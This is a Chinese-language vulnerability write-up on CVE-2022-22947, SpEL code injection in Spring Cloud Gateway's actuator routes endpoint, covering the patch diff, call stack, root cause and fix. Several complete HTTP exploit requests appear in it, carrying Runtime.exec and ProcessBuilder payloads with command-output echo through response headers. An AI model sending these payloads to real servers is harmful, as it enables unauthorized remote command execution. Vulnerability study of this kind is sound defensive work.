Spring Cloud gateway是什么?
Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用
漏洞描述:
当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
漏洞复测:
POST /actuator/gateway/routes/test1 HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json Content-Length: 184 {"id":"test1","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}" } } ] }
刷新触发请求:
POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json
直接触发rce:
从0开始漏洞分析:
漏洞预警:https://tanzu.vmware.com/security/cve-2022-22947
受影响的版本锁定:
Spring Cloud Gateway 3.1.0 3.0.0 to 3.0.6 Older, unsupported versions are also affected
直接去github查看:
看diff,对比:
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
全局搜索.java等关键字:
关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bc
通过代码,很容易看出来,这是spel注入,符合前面漏洞预警说的代码注入:
现在sink找到了,就差source,看情况是这样子的
除了这样找sink,还可以通过commit查看,无需对比,一样是关键字搜索:
拉到漏洞修复版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1
看到spel,盲猜spel注入,跟进去看看:
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b
好了,下面开始第二步分析,从下往上找,目前已基础判断出sink为spel注入,从下往上走:
漏洞环境搭建好了,所以我直接去idea里面打开路径:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
idea里面对应的路径:
springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:
可通过Structure查看结构体:
在这里调度出来:
这里直接在sink文件断一刀:
42行
重启服务打exp:
断下来了,拿到利用链:
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method) apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861) trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher) subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher) subscribe:57, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher) complete:137, Operators (reactor.core.publisher) subscribe:120, MonoZip (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher) onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher) onNext:82, MonoNext$NextSubscriber (reactor.core.publisher) innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher) onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:2398, Operators$ScalarSubscription (reactor.core.publisher) request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) subscribe:55, MonoJust (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:55, MonoDeferContextual (reactor.core.publisher) onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server) onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty) onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport) onInboundNext:570, HttpServerOperations (reactor.netty.http.server) channelRead:93, ChannelOperationsHandler (reactor.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:220, HttpTrafficHandler (reactor.netty.http.server) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel) fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec) channelRead:299, ByteToMessageDecoder (io.netty.handler.codec) channelRead:251, CombinedChannelDuplexHandler (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:919, DefaultChannelPipeline (io.netty.channel) read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) processSelectedKey:722, NioEventLoop (io.netty.channel.nio) processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio) processSelectedKeys:584, NioEventLoop (io.netty.channel.nio) run:496, NioEventLoop (io.netty.channel.nio) run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent) run:74, ThreadExecutorMap$2 (io.netty.util.internal) run:30, FastThreadLocalRunnable (io.netty.util.concurrent) run:748, Thread (java.lang)
最上层是触发sink结束了
往下看几层:
调度了ShortcutType.DEFAULT枚举重写的normalize方法:
这是方法,下一层就是调用了:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class
protected MapnormalizeProperties() { return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties(); }
查看属性value:
其中的key和value就是我们的fiter里面的属性内容:
再往下看一层:
name为我们自定义的RewritePath
结论:引用y4er大佬的话:
这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后 进入getValue执行SPEL表达式造成SPEL表达式注入。
现在是有exp,所以分析出来的,漏洞原理也了解了!但是还是有些点没理解清楚,需要我们刨根问底:
一些疑惑点:
(1)参数传递为什么是这样的?
(2)name设置为RewritePath,为什么要这样设置?
漏洞原理正向分析:
真的想彻底理解漏洞,更需要用户贴近业务:
查看官方文档介绍说明:
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
关键点在这里,官方文档说明可以使用这个接口去创建和删除特定路由:
那说明我们的spring cloud下是存在/routes/这个目录的,以开发经验来看,一般路径申明都在controller层,简单搜索下利用堆栈下的关键字:
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
去这个函数去看看
完全一致:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
这个就是我们的source,现在又回到了老问题,这个source是怎么触发到sink的?
因为代码量不是很大,直接拿出来分析:
@PostMapping({"/routes/{id}"}) public Mono> save(@PathVariable String id, @RequestBody RouteDefinition route) { return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> { r.setId(id); log.debug("Saving route: " + route); return r; })).then(Mono.defer(() -> { return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()); })); }).switchIfEmpty(Mono.defer(() -> { return Mono.just(ResponseEntity.badRequest().build()); })); }
先看可控点:
@PathVariable String id, @RequestBody RouteDefinition route
路径就是自定义的id,这个不用管,跟进RouteDefinition类:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class
可以这里面定义了好几个集合,有List的,也有Map的
随便找个继续跟集合的返回类,发现套娃好几层呢:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class
这就是走到底的了,会发现他是name+agrs集合
这样就对上了:
现在要分析的是RewritePath哪里来的:
继续回到代码:
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
发现我们可控的变量进入了这个函数了,比较重要的就是flatMap了,这玩意和map类似,不同的是其每个元素转换得到的是Stream对象,会把子Stream中的元素压缩到父集合中, 人话就是后面的是压缩的子元素,前面的返回的是压缩后的父元素
跟进this::validateRouteDefinition:
在这个方法下下个断点:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
anyMatch:判断的条件里,任意一个元素成功,返回true
allMatch:判断条件里的元素,所有的都是,返回true
noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true
看着难看,利用Evuluate循环打印:
for(int i=0;i<this.GatewayFilters.size();i++){ System.out.println(GatewayFilters.get(i).name()); }
就是这些:
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
可以看到我们的RewritePath就在其中
修复方案:
修改为StandardEvaluationContext为SimpleEvaluationContext
spel注入类常见的有两种:
StandardEvaluationContext 更加灵活 SimpleEvaluationContext 安全的,有限制的
不出网的话,我们上面的方法就不是很好使,需要调试出回显方法?
网上出了好多回显示案例,找一个复测下:
spring cloud回显测试:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
访问创建的路由地址:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
spring cloud gateway 回显原理分析:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class
把配置内容,添加到了响应请求头
除了这个还有很多,找类似点,发现当name为:
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........
任意一个,均可以回显
POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293
{
"id": "After",
"filters": [{
"name": "SetRequestHeader",
"args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
访问:
漏洞批量检测:
nuclei上看到有人提了相关检测方法:
https://github.com/wdahlenburg/nuclei-templates/blob/06db2450edaa2de7c371c2bf31226109ecb5e6c1/misconfiguration/springboot/springboot-gateway.yaml
技术参考:
(1)y4er p师傅知识星球
(2)spring cloud文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
(3)最好的spel注入学习文章:https://cryin.github.io/blog/SpEL injection/